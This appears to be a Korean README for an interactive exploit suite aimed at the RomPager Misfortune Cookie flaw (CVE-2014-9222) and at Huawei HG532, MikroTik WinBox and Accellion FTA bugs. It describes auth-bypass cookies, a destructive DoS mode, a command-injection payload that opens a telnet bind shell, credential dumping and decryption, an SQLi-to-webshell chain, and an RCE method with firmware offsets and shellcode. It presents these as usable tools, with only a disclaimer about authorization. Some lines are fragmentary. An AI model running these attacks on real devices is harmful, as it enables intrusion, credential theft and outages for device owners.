
CVE-2014-9222(Misfortune Cookie) 및 관련 라우터 익스플로잇을 위한 대화형 PoC 스위트로, 탐지, 인증 우회, DoS, RCE 모듈과 여러 취약점을 위한 스캔 모드를 제공합니다.
AllegroSoft RomPager의 HTTP 쿠키 처리에서 발생하는 스택 오버플로우(4.34 미만의 모든 버전).
인증되지 않은 단일 요청에 조작된 Cookie: 헤더를 포함하면 메모리가 손상됩니다. 영향: 관리자 인증 우회, DoS/재부팅, 그리고 (펌웨어별 오프셋을 사용하는 경우) 원격 코드 실행.
소유한 하드웨어 또는 명시적으로 테스트 권한을 부여받은 하드웨어에만 사용하십시오.
python3 main.py # 그런 다음 [1]로 대상 설정
python3 main.py http://192.168.1.1
[1] 대상 설정 / 전환
[2] 대상 핑거프린팅
[3] 취약점 탐지(안전, 비파괴적)
[4] 인증 우회(매직 쿠키)
[5] DoS / 장치 충돌(파괴적)
[6] RCE 도우미 - 펌웨어 주소에서 쿠키 도출
[7] 모델 / 쿠키 테이블 조회
[8] 모든 취약점 스캔(프로브)
[A] Accellion FTA 체인(CVE-2021-27101 / 27102)
[B] Huawei HG532(CVE-2017-17215)
[C] MikroTik WinBox(CVE-2018-14847)
모든 작업은 먼저 수행할 내용을 출력하며, DoS는 YES를 입력해야 합니다.
모델별 핑거프린트(realm)는 WWW-Authenticate 헤더에서 자동 감지되어 쿠키 테이블과 매칭됩니다.
[8]은 비파괴적 검사를 통해 호스트를 네 가지 취약점 계열 모두에 대해 프로브하고, 어떤 것이 접근 가능/취약 가능성이 있는지 출력합니다:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
그런 다음 확인된 취약점을 악용하려면 해당 메뉴 항목([3]/[4]/[A]/[B]/[C])을 실행하십시오.
Misfortune Cookie와 함께, 콘솔에는 다른 세 가지 일반적인 임베디드/어플라이언스 취약점에 대한 PoC도 포함되어 있습니다:
[A] Accellion FTA (accellion_fta.py) - Mandiant가 설명한 UNC2546 체인을 재현합니다: 조작된 Host 헤더(/courier/oauth.api)를 통한 SQL 인젝션으로 w1 비밀을 복구한 다음, admin.pl을 트리거하여 eval 웹셸을 작성하고 이를 검증합니다. 27103(SSRF) / 27104(인증 후 명령 실행)은 언급되지만 기본적으로 실행되지는 않습니다.[B] Huawei HG532 (huawei_hg532.py) - NewStatusURL에 $(<cmd>)를 포함한 SOAP POST를 /ctrlt/DeviceUpgrade_1로 전송, HTTP Digest 인증 dslf-config:admin; 기본 명령은 9999 포트에 telnet 바인드 셸을 엽니다.[C] MikroTik WinBox (mikrotik_winbox.py) - WinBox 프로토콜을 통한 디렉토리 트래버설 파일 읽기; 기본적으로 를 읽고 저장된 자격 증명을 복호화합니다( XOR).모든 추가 PoC는 콘솔에서 명시적 확인이 필요합니다.
python3 detect.py http://192.168.1.1 # 안전한 검사
python3 auth_bypass.py http://192.168.1.1 # 모델 자동 감지
python3 auth_bypass.py http://192.168.1.1 --restore # 인증 재활성화
python3 auth_bypass.py http://192.168.1.1 --all # 알려진 모든 쿠키 시도
python3 auth_bypass.py http://192.168.1.1 --brute # 전체 탐색(매우 느림, 충돌 발생)
python3 dos.py http://192.168.1.1 # 충돌 / 재부팅(파괴적)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # 주소 -> (num, pad)
Cookie: C<evilnum>=<pad "B" 바이트><payload>;
evilnum과 pad는 펌웨어별로 다릅니다. evilnum은 RomPager의 0x28바이트 쿠키 배열을 인덱싱합니다(C_Array + evilnum*0x28 + pad = 덮어쓸 주소). exploitdb 39739와 Metasploit allegro_rompager_auth_bypass 모듈에서 병합된 모델별 테이블은 common.py에 있습니다.
정확한 펌웨어 이미지 하나가 필요합니다. 단계(rce/README.md 참조): binwalk로 rootfs 추출, Ghidra에서 쿠키 파서를 리버스 엔지니어링하여 버퍼 -> 저장된 $ra 델타를 찾고, derive_cookie.py로 (num, pad)를 도출한 다음, 라이브 대상에 적용하기 전에 QEMU 에뮬레이션 이미지에서 MIPS 셸코드를 검증합니다.
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
및 auxiliary/admin/http/allegro_rompager_auth_bypass| 취약점 | CVE | 프로브가 수행하는 작업 |
|---|
| RomPager | CVE-2014-9222 | HTTP 배너 + 버전 vs 4.34 |
| Huawei HG532 | CVE-2017-17215 | SOAP 엔드포인트 활성화 + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | 라이브 WinBox 파일 읽기(자격 증명 덤프) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.api 핑거프린트 |
| 메뉴 | CVE | 대상 | 포트 |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
flash/rw/store/user.datmd5(user + "283i4jfkai3389")| 파일 | 용도 |
|---|
main.py | 대화형 콘솔 |
ui.py | 배너 + UI 헬퍼(header/info/warn/err/success/prompt/confirm) |
common.py | 핑거프린팅, 매직 쿠키 빌더, 모델별 (num, pad) 테이블 |
detect.py | 비파괴적 취약점 검사(버전 + 카나리아 쿠키) |
scan.py | 네 가지 취약점 계열 모두에 대해 대상 프로브(옵션 8) |
auth_bypass.py | realm 자동 감지를 통한 매직 쿠키 인증 우회 |
dos.py | 대형 쿠키 스택 스매시 -> 워치독 재부팅 |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> 웹셸 체인 |
huawei_hg532.py | CVE-2017-17215 SOAP 명령 주입 |
mikrotik_winbox.py | CVE-2018-14847 WinBox 파일 읽기 / 자격 증명 덤프 |
rce/derive_cookie.py | C_Array + 대상 주소를 (num, pad)로 변환 |
rce/README.md | 전체 RCE 방법론 + 악용 수학 |
rce/references/ | 31C3 슬라이드, NCC 백서, 상세 분석 문서, 레이아웃 테이블 |